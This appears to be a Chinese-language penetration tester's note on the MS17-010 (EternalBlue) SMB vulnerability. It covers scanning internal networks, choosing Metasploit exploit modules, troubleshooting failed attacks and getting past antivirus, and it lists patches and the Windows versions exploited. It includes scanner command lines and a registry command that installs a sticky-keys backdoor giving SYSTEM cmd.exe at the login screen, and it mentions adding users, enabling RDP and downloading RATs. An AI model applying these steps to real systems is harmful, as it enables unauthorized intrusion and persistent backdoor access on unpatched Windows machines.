一、MS17-010 漏洞扫描
1. MSF中的 auxiliary/scanner/smb/smb_ms17_010 模块
该模块可以直接通过socks代理直接扫描内网,速度比较慢。
2. MS17-010-Nessus.exe
该工具可以直接落地到目标机器上,经过测试在Win 10上可以正常运行,在Win 7和 Windows Server 2012 会爆缺少msvcr100.dll,必须使用x86的msvcr100.dll,否则会提示另一个错误{This Application Was Unable to Start Correctly (Error Code: 0xc000007b) },可以将msvcr100.dll 与MS17-010-Nessus.exe 一起上传到目标上执行,使用方法:
MS17-010-Nessus.exe -q -m -b 192.168.0.1 -e 192.168.255.254 -o scan.out # 指定IP范围扫描 MS17-010-Nessus.exe -q -m -l hostlist -o scan.out # 指定目标主机列表,一个IP一行 MS17-010-Nessus.exe -q -m -b 192.168.0.1 -e 192.168.255.254 -o scan.out -p 139 # 指定TCP 139 端口利用 MS17-010-Nessus.exe -q -m -l hostlist -o scan.out -p 139
参数说明:
-q:只显示vulnerable主机,否则将显示safe、unknown等其他主机 -o ret.txt:将输出结果保存到文件,否则向stdout输出 -m:实时显示当前扫描目标
输出结果样例:
xx.xx.xxx.xx safe [Unix|Samba 3.6.25|WORKGROUP][@WORKGROUP] xx.xx.x.xx vulnerable [Windows 7 Ultimate 7600|Windows 7 Ultimate 6.1|WORKGROUP][APPLE-PC@WORKGROUP] xxx.xxx.xx.xxx vulnerable [Windows 7 Ultimate 7601 Service Pack 1|Windows 7 Ultimate 6.1|WORKGROUP][USER-20160307TC@WORKGROUP] xxx.xxx.xx.xxx vulnerable [Windows 10 Pro 10240|Windows 10 Pro 6.3|WORKGROUP][DESKTOP-7DGEL49@WORKGROUP] xxx.xxx.xx.xxx vulnerable [Windows Server 2008 R2 Enterprise 7601 Service Pack 1|Windows Server 2008 R2 Enterprise 6.1|WORKGROUP][WIN-UV3JAC9UP5A@WORKGROUP] xx.xx.x.xxx 0xFFFF0002 [OS 1.00|SMB 1.0|WORKGROUP][@]
二、MS17-010 漏洞利用
1. MSF中的 exploit/windows/smb/ms17_010_eternalblue 模块
该模块的优点是不需要匿名管道,但是容易造成目标蓝屏,实际利用中不建议使用
2. MSF中的 exploit/windows/smb/smb/ms17_010_psexec 模块
该模块相对于上面的模块比较稳定一些,但是需要管道名,利用中经常会出现找不到管道名的情况,可以通过 auxiliary/scanner/smb/pipe_auditor 模块扫描目标可用的管道名设置NAMEDPIPE参数,或者设置smbuser和smbpass进行自动查找可用管道利用。利用过的过程中经常会出现MSF崩掉、服务启动失败等问题,可以使用下面的模块。
3. MSF中的 auxiliary/admin/smb/ms17_010_command 模块
该模块是所有利用方法中最为稳定的,并且不会被杀软拦截等。可以直接通过命令添加用户、开启3389、下载Rat等操作。例如直接添加shift后门:
set command REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\" /t REG_SZ /v Debugger /d \"C:\\windows\\system32\\cmd.exe\" /f
四、MS17-010 利用过程中的Bug
1. auxiliary/scanner/smb/smb_ms17_010 模块不能确定是否存在漏洞 -> 防火墙不允许SMB流量进入
2. exploit/windows/smb/smb/ms17_010_psexec 和 exploit/windows/smb/ms17_010_eternalblue 模块利用过程中崩掉(显示一堆错误):
(1)攻击机的内存不足
(2)目标杀软检测到网络攻击,阻止攻击,并弹窗提示用户有网络攻击(显示攻击IP和漏洞利用)
3. exploit/windows/smb/smb/ms17_010_psexec 服务启动失败:
(1)设置的 payload 不过免杀,落地被杀软删掉(不会提示用户)
(2)改用 auxiliary/admin/smb/ms17_010_command 模块
4. exploit/windows/smb/smb/ms17_010_psexec 利用成功,但是获取的会话弹回来就断开 -> 网络问题
5. auxiliary/admin/smb/ms17_010_command 模块执行命令超时 -> 不影响命令正常执行
五、MS17-010 各系统及对应的补丁
Windows Vista | KB4012598 |
Windows Xp | KB4012598 |
Windows Server 2008 | KB4012598 |
Windows 7 | KB4012212、KB4012215 |
Windows Server 2008 R2 | KB4012212、KB4012215 |
Windows 8.1 | KB4012213、KB4012216 |
Windows Server 2012 、 Windows Server 2012 R2 | KB4012213、KB4012214、KB4012216、KB4012217 |
Windows RT 8.1 | KB4012216 |
Windows 10 | KB4012216、KB4013198 |
Windows Server 2016 | KB4013198 |
六、MS17-010 成功利用的版本
1. exploit/windows/smb/ms17_010_eternalblue
(1)Windows 2008 R2 7601 Service Pack 1 x64
2. exploit/windows/smb/smb/ms17_010_psexec
(1)Windows 2016 (版本忘记了...)
(2)Windows 2012 R2 Standard (build:9600)
(3)Windows 7 Ultimate 7601 Service Pack 1 x64
(4)Windows 7 Professional 7601 Service Pack 1
(5)Windows Server 2003 3790 Service Pack 2 x86 x64
(6)Windows Server 2003 3790 Service Pack 1, v.1039 x86
(7)Windows XP 2600 Service Pack 3
(8)Windows 2000
No Leanote account ? Sign up now.